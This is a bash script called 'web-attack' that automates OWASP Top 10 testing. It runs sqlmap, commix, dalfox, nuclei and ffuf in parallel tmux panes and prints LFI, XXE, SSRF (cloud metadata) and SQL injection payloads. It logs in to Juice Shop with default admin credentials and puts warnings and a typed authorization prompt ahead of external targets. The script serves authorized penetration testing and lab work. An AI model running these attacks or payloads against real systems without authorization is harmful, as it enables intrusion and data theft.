#!/usr/bin/env bash set -euo pipefail # Script Name: web-attack # Description: Web application OWASP Top 10 exploitation testing # Usage: web-attack VERSION="1.0.0" # Colors readonly RED='\033[0;31m' readonly GREEN='\033[0;32m' readonly YELLOW='\033[1;33m' readonly BLUE='\033[0;34m' readonly CYAN='\033[0;36m' readonly MAGENTA='\033[0;35m' readonly BOLD='\033[1m' readonly NC='\033[0m' # Status indicators readonly GREENPLUS="${GREEN}[+]${NC}" readonly GREENSTAR="${YELLOW}[*]${NC}" readonly REDMINUS="${RED}[-]${NC}" readonly REDEXCLAIM="${RED}[!]${NC}" show_help() { echo -e "${BOLD}web-attack${NC} - OWASP Top 10 Exploitation Testing v${VERSION}" echo echo -e "${BOLD}USAGE:${NC}" echo " web-attack " echo echo -e "${BOLD}DESCRIPTION:${NC}" echo " Active exploitation testing for OWASP Top 10 vulnerabilities" echo " Creates tmux window with 6 panes running parallel attacks" echo echo -e "${BOLD}⚠️ AUTHORIZATION REQUIRED ⚠️${NC}" echo -e " ${RED}Only use on:${NC}" echo " ✓ localhost/127.0.0.1 (your own systems)" echo " ✓ Authorized penetration testing targets" echo " ✓ Bug bounty programs (within scope)" echo " ✓ Lab environments (DVWA, Juice Shop, etc.)" echo echo " ✗ NEVER use on unauthorized targets" echo " ✗ Illegal without explicit permission" echo echo -e "${BOLD}TESTS PERFORMED:${NC}" echo " 1. SQL Injection (sqlmap)" echo " 2. XSS Detection (dalfox)" echo " 3. Command Injection (commix)" echo " 4. XXE / SSRF Testing" echo " 5. Authentication Bypass" echo " 6. LFI/RFI Testing" echo echo -e "${BOLD}RECOMMENDED WORKFLOW:${NC}" echo " ${GREEN}1.${NC} Run reconnaissance first:" echo " ${BOLD}web-recon http://localhost:3002${NC}" echo " (Discovers endpoints, forms, parameters)" echo echo " ${GREEN}2.${NC} Then run exploitation:" echo " ${BOLD}web-attack http://localhost:3002${NC}" echo " (Tests discovered attack surface)" echo echo " ${YELLOW}⚠${NC} Running web-attack alone will find fewer vulnerabilities" echo " ${YELLOW}⚠${NC} Tools need discovered endpoints/parameters for best results" echo echo -e "${BOLD}EXAMPLES:${NC}" echo " web-attack http://localhost:3002" echo " web-attack http://localhost:8080 # DVWA" echo echo -e "${BOLD}OUTPUT:${NC}" echo " All results saved to: ./web-attack--/" echo echo -e "${BOLD}SAFETY FEATURES:${NC}" echo " • Localhost check (warns for non-local targets)" echo " • Rate limiting (--throttle)" echo " • No destructive payloads by default" echo " • PoC-focused (prove vulnerability, don't exploit)" } # Authorization check check_authorization() { local url="$1" # Extract hostname local hostname=$(echo "$url" | sed -E 's~https?://~~' | cut -d: -f1 | cut -d/ -f1) # Check if localhost if [[ "$hostname" =~ ^(localhost|127\\.0\\.0\\.1|0\\.0\\.0\\.0)$ ]]; then echo -e "${GREEN}✓${NC} Target is localhost - authorized" return 0 fi # Check if HTB/THM/CTF if [[ "$hostname" =~ \\.(htb|thm)$ ]]; then echo -e "${GREEN}✓${NC} Target is CTF platform - authorized" return 0 fi # Warn for external targets echo -e "${RED}⚠️ WARNING:${NC} Target is NOT localhost!" echo -e "${YELLOW}Target:${NC} $hostname" echo echo -e "${BOLD}Do you have written authorization to test this target?${NC}" echo " • Signed penetration testing agreement?" echo " • Bug bounty program with this target in scope?" echo " • Own the target infrastructure?" echo read -p "Type 'YES' to confirm authorization: " -r confirm if [[ "$confirm" != "YES" ]]; then echo -e "${RED}Authorization not confirmed. Exiting.${NC}" exit 1 fi echo -e "${GREEN}✓${NC} Authorization confirmed by user" } # Check required tools check_tools() { local missing=() local optional_missing=() # Core tools command -v tmux &>/dev/null || missing+=("tmux") # Attack tools (all optional but warn) command -v sqlmap &>/dev/null || optional_missing+=("sqlmap") command -v dalfox &>/dev/null || optional_missing+=("dalfox") command -v nuclei &>/dev/null || optional_missing+=("nuclei") command -v ffuf &>/dev/null || optional_missing+=("ffuf") command -v commix &>/dev/null || optional_missing+=("commix") if [[ ${#missing[@]} -gt 0 ]]; then echo -e "${RED}Error:${NC} Missing required tools: ${missing[*]}" exit 1 fi if [[ ${#optional_missing[@]} -gt 0 ]]; then echo -e "${YELLOW}⚠${NC} Optional tools missing (scans will be skipped): ${optional_missing[*]}" echo -e "${CYAN}Install with:${NC}" for tool in "${optional_missing[@]}"; do case "$tool" in sqlmap) echo " sudo apt install sqlmap (or: pipx install sqlmap-dev)" ;; dalfox) echo " go install github.com/hahwul/dalfox/v2@latest" ;; nuclei) echo " go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest" ;; ffuf) echo " go install github.com/ffuf/ffuf/v2@latest" ;; commix) echo " pipx install commix" ;; esac done echo fi } # Create output directory # Find most recent web-recon data for this target find_recon_data() { local url="$1" local clean_url=$(echo "$url" | tr '/:' '_' | tr -d 'http') # Look for web-recon directories matching this target (most recent first) local recon_dir=$(ls -dt web-recon-*"${clean_url}"* 2>/dev/null | head -1) if [[ -n "$recon_dir" ]] && [[ -f "$recon_dir/urls.txt" ]]; then # Check if recon data is recent (within last 24 hours) local recon_age=$(stat -c %Y "$recon_dir" 2>/dev/null || stat -f %m "$recon_dir" 2>/dev/null) local current_time=$(date +%s) local age_hours=$(( ($current_time - $recon_age) / 3600 )) if [[ $age_hours -lt 24 ]]; then echo "$recon_dir" return 0 fi fi return 1 } setup_output_dir() { local url="$1" local timestamp=$(date +%Y%m%d-%H%M%S) local clean_url=$(echo "$url" | tr '/:' '_' | tr -d 'http') OUTPUT_DIR="web-attack-${clean_url}-${timestamp}" mkdir -p "$OUTPUT_DIR" mkdir -p "$OUTPUT_DIR/sqlmap" mkdir -p "$OUTPUT_DIR/commix" echo -e "${GREEN}✓${NC} Output directory: ${BOLD}$OUTPUT_DIR${NC}" # Check for recent web-recon data RECON_DIR=$(find_recon_data "$url") if [[ -n "$RECON_DIR" ]]; then echo -e "${CYAN}[*]${NC} Found recent recon data: ${BOLD}$RECON_DIR${NC}" # Copy recon URLs for exploitation tools if [[ -f "$RECON_DIR/urls.txt" ]] && [[ -s "$RECON_DIR/urls.txt" ]]; then cp "$RECON_DIR/urls.txt" "$OUTPUT_DIR/recon-urls.txt" local url_count=$(wc -l < "$OUTPUT_DIR/recon-urls.txt") echo -e "${GREEN}✓${NC} Imported ${BOLD}${url_count} URLs${NC} from web-recon for testing" RECON_URLS="$OUTPUT_DIR/recon-urls.txt" fi else echo -e "${YELLOW}⚠${NC} No recent web-recon data - tools will use deep crawl mode" echo -e "${CYAN}Tip:${NC} Run ${BOLD}web-recon $url${NC} first for better results" RECON_URLS="" fi } # Attempt to get authentication token for Juice Shop get_juice_shop_auth() { local url="$1" # Check if this is Juice Shop (localhost:3002) if [[ ! "$url" =~ localhost:3002 ]]; then return 1 fi echo -e "${CYAN}[*]${NC} Detected Juice Shop - attempting authentication..." # Login and extract JWT token local response=$(curl -s -X POST "${url}/rest/user/login" \ -H "Content-Type: application/json" \ -d '{"email":"admin@juice-sh.op","password":"admin123"}' 2>/dev/null) if [[ -z "$response" ]]; then echo -e "${YELLOW}⚠${NC} Could not connect to Juice Shop login endpoint" return 1 fi # Extract token from response AUTH_TOKEN=$(echo "$response" | jq -r '.authentication.token' 2>/dev/null) if [[ -n "$AUTH_TOKEN" ]] && [[ "$AUTH_TOKEN" != "null" ]]; then echo -e "${GREEN}✓${NC} Successfully authenticated as admin@juice-sh.op" echo -e "${CYAN}[*]${NC} JWT token obtained (will be used by all tools)" return 0 else echo -e "${YELLOW}⚠${NC} Authentication failed - continuing without auth" AUTH_TOKEN="" return 1 fi } # Main web-attack function run_web_attack() { local url="$1" # Ensure URL has http:// or https:// if [[ ! "$url" =~ ^https?:// ]]; then url="http://$url" echo -e "${YELLOW}⚠${NC} No protocol specified, using: $url" fi echo -e "${RED}${BOLD}" echo "╔════════════════════════════════════════════════════════════╗" echo "║ ⚠️ ACTIVE EXPLOITATION TESTING ⚠️ ║" echo "║ Target: $url" echo "║ AUTHORIZATION REQUIRED - LEGAL USE ONLY ║" echo "╚════════════════════════════════════════════════════════════╝" echo -e "${NC}" # Authorization check check_authorization "$url" # Create output directory setup_output_dir "$url" # Attempt Juice Shop authentication export AUTH_TOKEN="" get_juice_shop_auth "$url" # Check if in tmux if [[ -z "${TMUX:-}" ]]; then echo -e "${YELLOW}⚠${NC} Not in tmux session - running sequentially" run_attacks_sequential "$url" return fi # Create tmux window with 6 panes tmux new-window -n "--> ATTACK: ${url:0:15}... <--" # Create 3x2 grid (6 panes total) # CRITICAL: Tmux renumbers panes during splits, pane 0 disappears # Strategy: Create 3 columns first, then split each vertically # Final layout: # [1: sqlmap] [3: dalfox] [5: nuclei] # [2: commix] [4: ffuf] [6: manual] # Create 3 columns (horizontal splits) tmux split-window -h tmux split-window -h # Select leftmost pane and split vertically (creates bottom-left) tmux select-pane -t 0 tmux split-window -v # Select middle pane and split vertically (creates bottom-middle) tmux select-pane -t 2 tmux split-window -v # Select rightmost pane and split vertically (creates bottom-right) tmux select-pane -t 4 tmux split-window -v # Note: tmux 'tiled' layout may choose 2x3 or 3x2 depending on terminal size # Current result: 2 columns x 3 rows (vertical orientation) # Both layouts work fine - tmux optimizes based on available space tmux select-layout tiled # Final pane numbering after tiled layout: # If 2x3 (2 columns, 3 rows): If 3x2 (3 columns, 2 rows): # 1 4 1 3 5 # 2 5 2 4 6 # 3 6 # Pane 1 (top-left): SQLMap (SQL injection) tmux select-pane -t 1 if command -v sqlmap &>/dev/null; then # Use recon URLs if available, otherwise deep crawl # Rate-limited: 1 thread, 2 second delay to prevent target crash # Add JWT auth header if available (using proper escaping for tmux send-keys) if [[ -n "$AUTH_TOKEN" ]]; then if [[ -n "$RECON_URLS" ]] && [[ -f "$RECON_URLS" ]]; then local url_count=$(wc -l < "$RECON_URLS") tmux send-keys "cd '$PWD/$OUTPUT_DIR' && echo -e '${GREENSTAR} SQLMap: Testing ${url_count} URLs from web-recon (authenticated)...${NC}' && sqlmap -m recon-urls.txt --batch --level=2 --risk=2 --threads=1 --delay=2 --forms --headers='Authorization: Bearer \$AUTH_TOKEN' -o --output-dir=sqlmap 2>&1 | tee sqlmap.log && echo -e '${GREEN}✓ SQLMap complete${NC}'" C-m else tmux send-keys "cd '$PWD/$OUTPUT_DIR' && echo -e '${GREENSTAR} SQLMap: Deep crawl mode (no recon data)...${NC}' && sqlmap -u '$url' --batch --crawl=2 --level=2 --risk=2 --threads=1 --delay=2 --forms --headers='Authorization: Bearer \$AUTH_TOKEN' -o --output-dir=sqlmap 2>&1 | tee sqlmap.log && echo -e '${GREEN}✓ SQLMap complete${NC}'" C-m fi else if [[ -n "$RECON_URLS" ]] && [[ -f "$RECON_URLS" ]]; then local url_count=$(wc -l < "$RECON_URLS") tmux send-keys "cd '$PWD/$OUTPUT_DIR' && echo -e '${GREENSTAR} SQLMap: Testing ${url_count} URLs from web-recon...${NC}' && sqlmap -m recon-urls.txt --batch --level=2 --risk=2 --threads=1 --delay=2 --forms -o --output-dir=sqlmap 2>&1 | tee sqlmap.log && echo -e '${GREEN}✓ SQLMap complete${NC}'" C-m else tmux send-keys "cd '$PWD/$OUTPUT_DIR' && echo -e '${GREENSTAR} SQLMap: Deep crawl mode (no recon data)...${NC}' && sqlmap -u '$url' --batch --crawl=2 --level=2 --risk=2 --threads=1 --delay=2 --forms -o --output-dir=sqlmap 2>&1 | tee sqlmap.log && echo -e '${GREEN}✓ SQLMap complete${NC}'" C-m fi fi else tmux send-keys "cd '$PWD/$OUTPUT_DIR' && echo -e '${YELLOW}⚠ sqlmap not installed - skipping${NC}'" C-m fi # Pane 2 (bottom-left): Commix (command injection) tmux select-pane -t 2 if command -v commix &>/dev/null; then tmux send-keys "cd '$PWD/$OUTPUT_DIR' && echo -e '${GREENSTAR} Commix: Command injection testing...${NC}' && timeout 120 commix -u '$url' --batch --crawl=2 --output-dir=commix 2>&1 | tee commix.log || echo 'Commix timeout or no vulns' && echo -e '${GREEN}✓ Commix complete${NC}'" C-m else tmux send-keys "cd '$PWD/$OUTPUT_DIR' && echo -e '${YELLOW}⚠ commix not installed - skipping${NC}'" C-m fi # Pane 3 (top-middle): Dalfox (XSS detection) tmux select-pane -t 3 if command -v dalfox &>/dev/null; then # Use recon URLs if available for better XSS detection # Rate-limited: 200ms delay between requests (balanced speed/safety) # Add JWT auth header if available (using proper escaping for tmux send-keys) if [[ -n "$AUTH_TOKEN" ]]; then if [[ -n "$RECON_URLS" ]] && [[ -f "$RECON_URLS" ]]; then local url_count=$(wc -l < "$RECON_URLS") tmux send-keys "cd '$PWD/$OUTPUT_DIR' && sleep 3 && echo -e '${GREENSTAR} Dalfox: Testing ${url_count} URLs from web-recon (authenticated)...${NC}' && dalfox file recon-urls.txt --delay=200 --follow-redirects -w 3 -H 'Authorization: Bearer \$AUTH_TOKEN' -o dalfox.txt 2>&1 | tee dalfox.log && echo -e '${GREEN}✓ Dalfox complete${NC}'" C-m else tmux send-keys "cd '$PWD/$OUTPUT_DIR' && sleep 3 && echo -e '${GREENSTAR} Dalfox: Crawler mode (no recon data)...${NC}' && dalfox url '$url' --delay=200 --follow-redirects --crawler-mode -w 3 -H 'Authorization: Bearer \$AUTH_TOKEN' -o dalfox.txt 2>&1 | tee dalfox.log && echo -e '${GREEN}✓ Dalfox complete${NC}'" C-m fi else if [[ -n "$RECON_URLS" ]] && [[ -f "$RECON_URLS" ]]; then local url_count=$(wc -l < "$RECON_URLS") tmux send-keys "cd '$PWD/$OUTPUT_DIR' && sleep 3 && echo -e '${GREENSTAR} Dalfox: Testing ${url_count} URLs from web-recon...${NC}' && dalfox file recon-urls.txt --delay=200 --follow-redirects -w 3 -o dalfox.txt 2>&1 | tee dalfox.log && echo -e '${GREEN}✓ Dalfox complete${NC}'" C-m else tmux send-keys "cd '$PWD/$OUTPUT_DIR' && sleep 3 && echo -e '${GREENSTAR} Dalfox: Crawler mode (no recon data)...${NC}' && dalfox url '$url' --delay=200 --follow-redirects --crawler-mode -w 3 -o dalfox.txt 2>&1 | tee dalfox.log && echo -e '${GREEN}✓ Dalfox complete${NC}'" C-m fi fi else tmux send-keys "cd '$PWD/$OUTPUT_DIR' && echo -e '${YELLOW}⚠ dalfox not installed - skipping${NC}'" C-m fi # Pane 4 (bottom-middle): FFUF (parameter fuzzing) tmux select-pane -t 4 if command -v ffuf &>/dev/null; then # Check if payload script exists if command -v payload &>/dev/null; then tmux send-keys "cd '$PWD/$OUTPUT_DIR' && echo -e '${GREENSTAR} FFUF: Parameter fuzzing with payloads...${NC}' && payload sqli basic > sqli.txt && payload xss basic > xss.txt && echo 'admin' > users.txt && echo 'password' >> users.txt && ffuf -u '$url?id=FUZZ' -w sqli.txt -mc 200,500 -o ffuf-sqli.json 2>&1 | head -50 && echo -e '${GREEN}✓ FFUF complete${NC}'" C-m else tmux send-keys "cd '$PWD/$OUTPUT_DIR' && echo -e '${YELLOW}⚠ payload script not found - basic ffuf only${NC}' && echo \"' OR '1'='1\" > payloads.txt && ffuf -u '$url?id=FUZZ' -w payloads.txt -mc 200,500 2>&1 | head -50" C-m fi else tmux send-keys "cd '$PWD/$OUTPUT_DIR' && echo -e '${YELLOW}⚠ ffuf not installed - skipping${NC}'" C-m fi # Pane 5 (top-right): Nuclei (exploit templates only) tmux select-pane -t 5 if command -v nuclei &>/dev/null; then # Rate-limited: 10 requests/second, stagger start by 6 seconds # Add JWT auth header if available (using proper escaping for tmux send-keys) if [[ -n "$AUTH_TOKEN" ]]; then tmux send-keys "cd '$PWD/$OUTPUT_DIR' && sleep 6 && echo -e '${GREENSTAR} Nuclei: Running exploit templates (authenticated)...${NC}' && nuclei -u '$url' -s critical,high -rl 10 -c 5 -H 'Authorization: Bearer \$AUTH_TOKEN' -t ~/nuclei-templates/exposures/ -t ~/nuclei-templates/vulnerabilities/ -t ~/nuclei-templates/cves/ -o nuclei-exploits.txt 2>&1 | tee nuclei.log && echo -e '${GREEN}✓ Nuclei complete${NC}'" C-m else tmux send-keys "cd '$PWD/$OUTPUT_DIR' && sleep 6 && echo -e '${GREENSTAR} Nuclei: Running exploit templates...${NC}' && nuclei -u '$url' -s critical,high -rl 10 -c 5 -t ~/nuclei-templates/exposures/ -t ~/nuclei-templates/vulnerabilities/ -t ~/nuclei-templates/cves/ -o nuclei-exploits.txt 2>&1 | tee nuclei.log && echo -e '${GREEN}✓ Nuclei complete${NC}'" C-m fi else tmux send-keys "cd '$PWD/$OUTPUT_DIR' && echo -e '${YELLOW}⚠ nuclei not installed - skipping${NC}'" C-m fi # Pane 6 (bottom-right): Manual LFI/XXE/SSRF testing tmux select-pane -t 6 tmux send-keys "cd '$PWD/$OUTPUT_DIR' && echo -e '${GREENSTAR} Manual vulnerability testing...${NC}' && echo 'Testing LFI/XXE/SSRF vectors...' && echo '# LFI Tests' > manual-tests.txt && echo '$url?file=../../../../etc/passwd' >> manual-tests.txt && echo '$url?page=....//....//etc/passwd' >> manual-tests.txt && echo '# XXE Test' >> manual-tests.txt && echo ']>&xxe;' >> manual-tests.txt && echo '# SSRF Test' >> manual-tests.txt && echo '$url?url=http://169.254.169.254/latest/meta-data/' >> manual-tests.txt && cat manual-tests.txt && echo -e '${CYAN}[*] Manual tests prepared. Review and execute as needed.${NC}'" C-m # Focus back on sqlmap pane tmux select-pane -t 1 echo echo -e "${GREEN}✓${NC} Tmux web-attack window created" echo -e "${CYAN}[*]${NC} Switch to window: ${BOLD}--> ATTACK: ${url:0:15}... <--${NC}" echo -e "${CYAN}[*]${NC} Results will be in: ${BOLD}$OUTPUT_DIR${NC}" echo echo -e "${YELLOW}Rate Limiting:${NC} Tools staggered and rate-limited to prevent target crash" echo -e "${YELLOW}Target Safety:${NC} 500ms-1s delays, reduced threads, max 10 req/sec" echo -e "${YELLOW}Note:${NC} Review results carefully - automated tools have false positives" } # Sequential execution (when not in tmux) run_attacks_sequential() { local url="$1" cd "$OUTPUT_DIR" echo -e "\n${GREENSTAR} Running SQLMap...${NC}" command -v sqlmap &>/dev/null && sqlmap -u "$url" --batch --crawl=2 --level=2 --risk=2 -o --output-dir=sqlmap || echo "sqlmap not installed" echo -e "\n${GREENSTAR} Running Dalfox...${NC}" command -v dalfox &>/dev/null && dalfox url "$url" --deep-domxss -o dalfox.txt || echo "dalfox not installed" echo -e "\n${GREENSTAR} Running Nuclei exploits...${NC}" command -v nuclei &>/dev/null && nuclei -u "$url" -s critical,high -o nuclei-exploits.txt || echo "nuclei not installed" echo -e "\n${GREENSTAR} Running Commix...${NC}" command -v commix &>/dev/null && timeout 120 commix -u "$url" --batch --output-dir=commix || echo "commix not installed or no vulns" cd .. echo -e "\n${GREEN}✓${NC} Web attack complete! Results in: ${BOLD}$OUTPUT_DIR${NC}" } # Parse arguments if [[ $# -eq 0 ]] || [[ "$1" =~ ^(-h|--help|help)$ ]]; then show_help exit 0 fi url="$1" # Validate URL if [[ -z "$url" ]]; then echo -e "${RED}Error:${NC} URL required" echo "Usage: web-attack " exit 1 fi # Check tools check_tools # Run web attacks run_web_attack "$url"